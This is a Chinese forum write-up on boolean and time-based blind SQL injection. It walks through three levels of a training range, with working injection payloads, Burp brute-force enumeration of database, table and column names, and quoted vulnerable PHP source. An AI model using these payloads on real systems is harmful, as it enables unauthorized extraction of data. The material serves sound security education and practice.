布尔盲注解题思路

Track-子羽   ·   发表于 2022-11-02 18:20:09   ·   CTF&WP专版

SQL注入——盲注

一、盲注的概念

当目标存在注入点,但是没有回显时,使用一些方法进行判断或者尝试得到数据——盲注

二、盲注的分类

1、布尔盲注

布尔只有Ture和Fales,也就是只会根据注入信息返回ture和fales,没有相关报错信息

2、时间盲注

界面返回值只有一种,ture。无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数,通过查看网站页面返回时间差来判断注入的语句是否正确。

三、盲注使用较多的函数

1、length()

  1. 返回字符串的长度
  2. length('abc')=3
  3. ?id=1 and length(database())>1
  4. 如果要使用子查询,length() 函数内还要加一个()
  5. 比如 length((select username from admin where id=1))

2、substr()

  1. substr(字符串,第几位开始,截取几个)
  2. 截取字符串 , 从第一位截取一个
  3. ?id=1 and substr(database(),1,1)='k'
  4. substr(内容,1,1) 显示第一个字符

3、ascii()

  1. 返回字符的ascii`ascii('a')=97`
  2. ?id=1 and ascii(substr(database(),1,1))=107

4、sleep()

  1. 延时函数
  2. sleep(n) 将程序挂起一段时间nn
  3. 比如 and if (ascii(substr(database(),1,1))>1,sleep(3),1)
  4. 【语句含义:查询当前库名的第一个字母的ascii码是否大于1,大于则延时3秒,不大于则不延时】

5、if()

  1. if(expr1,expr2,expr3)
  2. 判断语句 如果第一个语句正确,就执行第二个语句,如果错误执行第三个语句
  3. and If(length(database())=8,1,sleep(5))
  4. 【语句含义:判断当前所在库名字符长度是否等于8,不等于则延时5秒,等于则不延时】

四、盲注流程

猜解当前数据库名称长度:

  1. and (length(database()))>9 -- qwe
  2. 【返回正常,则说明数据库名长度大于9

猜解当前数据库名称:

  1. and (ascii(substr(database(),1,1)))=107 -- qwe
  2. 【返回正常,说明数据库名称第一位是kk对应的ascii码为107
  3. and substr(database(),1,1)='k' -- qwe
  4. 【返回正常,说明数据库名称第1位是k

猜表名:

  1. and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 -- qwe
  2. 【页面返回正常,说明当前数据库第一个表长度是6

猜字段名:

  1. and substr((select column_name from information_schema.columns where table_name=’loflag limit 0,1),1,1)='i' -- qwe
  2. 【返回正常,说明loflag表中的列名称第一位是i

猜内容:

  1. and (ascii(substr(( select flaglo from loflag limit 0,1),1,1)))=122 -- qwe
  2. 【返回正常,说明loflag表中 flaglo字段下的第1条数据的第一个字符 z ,122 zascii码】

五、封神台靶场演示

Pass-10

发现页面是采用GET传参,并且SQL语句没用使用过滤,也不用考虑闭合的问题

注入步骤:

1、先猜测当前数据库名的长度

  1. id=1 and (length(database()))=12

页面提示有数据说明,length()返回True,则数据库名长度为12

接着使用Burp直接进行枚举出库名

  1. and (ascii(substr(database(),1,1)))= 97
  2. 【语句含义:数据库名第一位字符ascii码等于97,则页面会显示正常】
  3. 使用抓包枚举,然后看ascii编码表得到数据库名

抓包,然后发送到爆破模块,在相应位置添加变量

  1. 设置两个爆破参数
  2. 第一个爆破参数为 substr(database(),1,1) 第中间这个数字1
  3. 第二个爆破参数为 and (ascii(substr(database(),1,1)))= 97 数字97

设置爆破参数范围

  1. 设置爆破参数范围
  2. 第一个爆破参数代表着库名第几位字符,范围 1-12
  3. 比如substr(database(),1,1) 代表第1个字符
  4. substr(database(),2,1) 则是第2个字符
  5. 以此类推
  6. 第二个爆破参数则是代表字符的ascii码,范围1-127

  1. 两个payload 第一个是1-12是数据库的长度,第二个是判断ascii编码的长度
  2. 得到相应的结果对应ascii编码表,得到数据库名

  1. 按照顺序,ascii编码为
  2. 107 97 110 119 111 108 111 110 103 120 105 97
  3. 所以数据库名为:
  4. kanwolongxia

  1. 然后我们跑数据库下的表格
  2. 我们先判断表格的长度
  3. and length((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1))>1

  1. 第一个表格名长度为6
  2. 我们先跑出它的名
  3. and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1 ))>1

抓包

添加变量(爆破参数)

  1. 第一个字段名:73 100 Id
  2. 应该和flag无关了,我们接着跑第二个字段名

第二个字段名长度为6

枚举具体的字段名

  1. 102 108 97 103 108 111
  2. flaglo
  3. 这个字段名应该就是存放flag的了
  4. 我们先看看第一个数据长度为8

枚举出具体的数据

  1. 122 75 97 81 45 81 81 81
  2. zKaQ-QQQ
  3. 符合flag 格式,提交
  4. 第二个数据长度为7

Pass-11

1、源码分析

  1. $news ='';
  2. @$id = $_GET['id'];
  3. @$sql = 'select *from news where id="'.$id.'"';
  4. mysqli_select_db($conn,'****');// 不想让你们知道库名
  5. $result = mysqli_query($conn,$sql);
  6. while ($row = mysqli_fetch_array($result)){
  7. $news = $row['news'];
  8. }
  9. if($news!== ''){
  10. echo '有数据';}
  1. 简单看一下,好像和Pass-10没什么区别,只是多了一个"" 双引号闭合,这里提前闭合双引号再配合注释就可以解决
  2. 在第Pass-10的语句基础上加上 " -- qwe
  3. 1、猜库名长度语句:id=1" and (length(database()))=12 -- qwe
  4. 2、猜库名语句:id=1" and (ascii(substr(database(),1,1)))= 97 -- qwe
  5. 3、猜表名长度语句:id=1" length((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1))>1 -- qwe
  6. 4、猜表名语句:id=1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1 ))>1 -- qwe
  7. .
  8. .
  9. ........

按照Pass10步骤,最后拿到flag

  1. 122 75 97 81 45 82 68
  2. zKaQ-RD

Pass-12

1、源码分析

  1. $username = $_POST['username'];
  2. $password = $_POST['password'];
  3. $sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
  4. mysqli_select_db($conn,'******'); //不想告诉你们库名
  5. $result = mysqli_query($conn,$sql);
  6. $row = mysqli_fetch_array($result);
  7. $uname = $row['username'];
  8. $passwd = $row['password'];
  9. if($row){
  10. echo '成功登录';}
  11. else{echo '账号密码错误';}
  1. 简单看看,这是个POST传参页面,并且是布尔型。
  2. 当账户密码错误时候会显示账号密码错误,当语句执行成功时页面会有变化,并提示登录成功,根据是否登录成功来判断值
  3. 注意,要闭合''单引号 使用' or 中间这里写SQL语句 -- qwe 闭合
  1. ' or length(database()) > 1 -- qwe
  2. 【判断数据库长度】
  3. 然后步骤如同Pass 10
  4. 最后拿到flag

  1. 122 75 97 81 45 77 111 114 101 110
  2. zKaQ-Moren

打赏我,让我更有动力~

0 条回复   |  直到 2022-11-2 | 1730 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.